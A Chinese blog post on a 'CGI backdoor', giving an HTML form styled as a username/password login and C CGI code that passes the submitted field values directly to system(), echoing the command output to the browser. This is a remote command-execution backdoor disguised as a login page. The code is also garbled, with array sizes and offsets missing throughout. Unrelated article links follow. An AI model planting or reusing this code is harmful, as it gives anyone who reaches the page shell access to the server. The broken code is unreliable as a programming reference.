服务器开发之CGI后门
1.html代码
<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>
2.C代码
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB" void main123()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1 != NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); char *p2 = strchr(p1 + , '&');
if (*p2!=NULL)
{
*p2 = '\0';
}
printf("<br>%s", p1+); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s %s >%d.txt", szpost + , p1 + , num);
char filename[] = { };
sprintf(filename, "%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch == '\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main3()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); char*p1 = strchr(szpost, '&');
if (*p1!=NULL)
{
*p1 = '\0';
}
printf("<br>%s", szpost + ); //system(szpost + 5);
char cmd[] = { };
time_t ts;
unsigned data = time(&ts);
srand(&ts);
int num = rand();
sprintf(cmd, "%s >%d.txt", szpost + ,num);
char filename[] = { };
sprintf(filename,"%d.txt", num);
system(cmd); FILE *pf = fopen(filename, "r");
while (!feof(pf))
{
char ch = fgetc(pf);
if (ch=='\n')
{
printf("<br>");
}
else
{
putchar(ch);
} }
fclose(pf); } void main2()
{
printf("Content-type:text/html\n\n");//换行
char szpost[] = { };
gets(szpost);
printf("%s", szpost); } //重定向输出
//输入
void main()
{
printf("Content-type:text/html\n\n");//换行
for (int i = ; i < ; i++)
{
//printf("锄禾日当午\n");
printf("锄禾日当午<br>");
} }
服务器开发之CGI后门的更多相关文章
- 高性能服务器开发之C++定时器
高性能服务器开发之C++定时器 来源: https://www.cnblogs.com/junye/p/5836552.html 写这篇文章前搜了下网上类似的文章,有很多,所以笔者的这篇文章就不对定时 ...
- JSON的服务器开发之路
JSON的服务器开发之路 不知道需要哪儿些包... /dcywpt/WebRoot/WEB-INF/lib/commons-collections-3.2.jar /dcywpt/WebRoot/WE ...
- C语言进行站点开发之cgi
安装Apach 配置ApacheRuntime 以下的过程中一直点击next 配置CGI,放开配置:AddHandler cgi-script .cgi watermark/2/text/aHR ...
- JavaEE开发之SpringMVC中的静态资源映射及服务器推送技术
在上篇博客中,我们聊了<JavaEE开发之SpringMVC中的自定义拦截器及异常处理>.本篇博客我们继续的来聊SpringMVC的东西,下方我们将会聊到js.css这些静态文件的加载配置 ...
- Android安全开发之WebView中的地雷
Android安全开发之WebView中的地雷 0X01 About WebView 在Android开发中,经常会使用WebView来实现WEB页面的展示,在Activiry中启动自己的浏览器,或者 ...
- 微信公众号开发之VS远程调试
目录 (一)微信公众号开发之VS远程调试 (二)微信公众号开发之基础梳理 (三)微信公众号开发之自动消息回复和自定义菜单 前言 微信公众平台消息接口的工作原理大概可以这样理解:从用户端到公众号端一个流 ...
- Android安全开发之ZIP文件目录遍历
1.ZIP文件目录遍历简介 因为ZIP压缩包文件中允许存在“../”的字符串,攻击者可以利用多个“../”在解压时改变ZIP包中某个文件的存放位置,覆盖掉应用原有的文件.如果被覆盖掉的文件是动态链接s ...
- Cocos2d-x 3.x游戏开发之旅
Cocos2d-x 3.x游戏开发之旅 钟迪龙 著 ISBN 978-7-121-24276-2 2014年10月出版 定价:79.00元 516页 16开 内容提要 <Cocos2d-x ...
- iOS开发之Socket通信实战--Request请求数据包编码模块
实际上在iOS很多应用开发中,大部分用的网络通信都是http/https协议,除非有特殊的需求会用到Socket网络协议进行网络数 据传输,这时候在iOS客户端就需要很好的第三方CocoaAsyncS ...
随机推荐
- 谈谈promise
最近在看<你不知道的javascript中卷>,发觉作者花了基本一半的篇幅去讲异步和promise,觉得有必要总结一下. 其实本文的目的是想手写一个Promise的,无奈总结着总结着发觉篇 ...
- 基础Linux命令总结
简单命令Linux ls 列出当前文件目录下的文件(只显示文件名) pwd 显示当前操作的路径 cd 跳转路径 ls -a 可以把隐藏的文件显示出来 ,另外,创建隐藏文件的命令是 touch.123. ...
- Offcanvas 自适应窗口示例
<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8&qu ...
- Java异常(输出[D@139a55问题)
简单给出一段代码说明问题: public class Main { public static void main(String[] args) { double a[]={1,4,3,2}; Sys ...
- UESTC 1584 Washi与Sonochi的约定【树状数组裸题+排序】
题目链接:UESTC 1584 Washi与Sonochi的约定 题意:在二维平面上,某个点的ranked被定义为x坐标不大于其x坐标,且y坐标不大于其y坐标的怪物的数量.(不含其自身),要求输出n行 ...
- [hdu5632][BC#73 1002]Rikka with Array
点开BC发现今晚没比赛..然后似乎上一场有数位DP?...(幸好我没去 一开始被BCDcode那题的思路带歪了..后来发现得把n转成二进制才能搞TAT 题目大概是要求一种类似逆序对的鬼东西: 有一个长 ...
- iOS扩展——Objective-C开发编程规范
最近准备开始系统学习一个完整项目的开发流程和思路,在此之前,我们需要对iOS的开发变成规范进行更系统和详尽的学习,随意对编程规范进行了整理和学习.本文内容主要转载自:Objective-C-Codin ...
- 关于jquery ajax跨域请求获取response headers问题
背景:最近项目jwt用户认证方式,关于jwt本人就不再赘述,大家可自行百度. jwt token基本流程是这样的: 用户使用用户名密码来请求服务器 服务器进行验证用户的信息 服务器通过验证发送给用户一 ...
- 算法-java代码实现堆排序
堆排序 第7节 堆排序练习题 对于一个int数组,请编写一个堆排序算法,对数组元素排序. 给定一个int数组A及数组的大小n,请返回排序后的数组. 测试样例: [1,2,3,5,2,3],6 [1,2 ...
- 算法-java代码实现插入排序
插入排序